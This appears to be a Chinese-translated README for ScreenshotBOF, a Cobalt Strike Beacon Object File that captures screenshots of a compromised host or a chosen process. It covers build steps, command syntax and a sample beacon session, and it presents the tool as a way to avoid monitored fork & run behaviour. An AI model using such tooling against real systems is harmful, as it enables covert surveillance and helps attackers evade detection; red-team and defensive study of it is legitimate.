ScreenshotBOF

一种替代的Cobalt Strike截图功能，使用WinAPI且不执行fork & run。截图在内存中下载。

特性

• JPEG压缩
• 内存下载，支持作为截图或作为文件
• 支持捕获最小化的窗口
• 灰度、JPEG质量和缩小尺寸以减少文件大小

自行编译

1. git clone 仓库
2. 运行 make

保存方式:

0. 将文件写入磁盘
1. 通过beacon下载文件（仅限Cobalt Strike）
2. 通过beacon作为截图下载文件（仅限Cobalt Strike）

PID

0: 捕获全屏（PID = 0） 特定PID: 捕获特定PID（即使在最小化时也能工作！）

使用

1. 将screenshotBOF.cna脚本导入Cobalt Strike
2. 使用命令 screenshot_bof {本地文件名} {保存方式 0/1/2} {pid/0} {灰度 0/1} {质量 0-100} {缩放 0-100}
   • 不带参数运行 screenshot_bof 会弹出一个GUI对话框

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

备注

• 不执行规避操作，这应该没问题，因为使用的WinAPI并非恶意

为什么制作这个？

Cobalt Strike在其许多后期利用功能中使用了一种称为fork & run的技术，包括截图命令。虽然这种行为提供了稳定性，但现在已广为人知并受到严密监控。此BOF旨在提供一种OPSEC更安全的截图功能版本。

致谢

• 将BMP保存为文件来自 https://stackoverflow.com/a/60667564
• 内存下载来自 https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline 提供（已弃用的）aggressorscript中的BMP渲染以及截图回调函数
• 位图转JPEG来自 https://github.com/WKL-Sec/HiddenDesktop

免责声明

标准免责声明：对于您使用这段糟糕代码可能犯下的任何反人类罪行或引发的核战争，我不承担任何责任。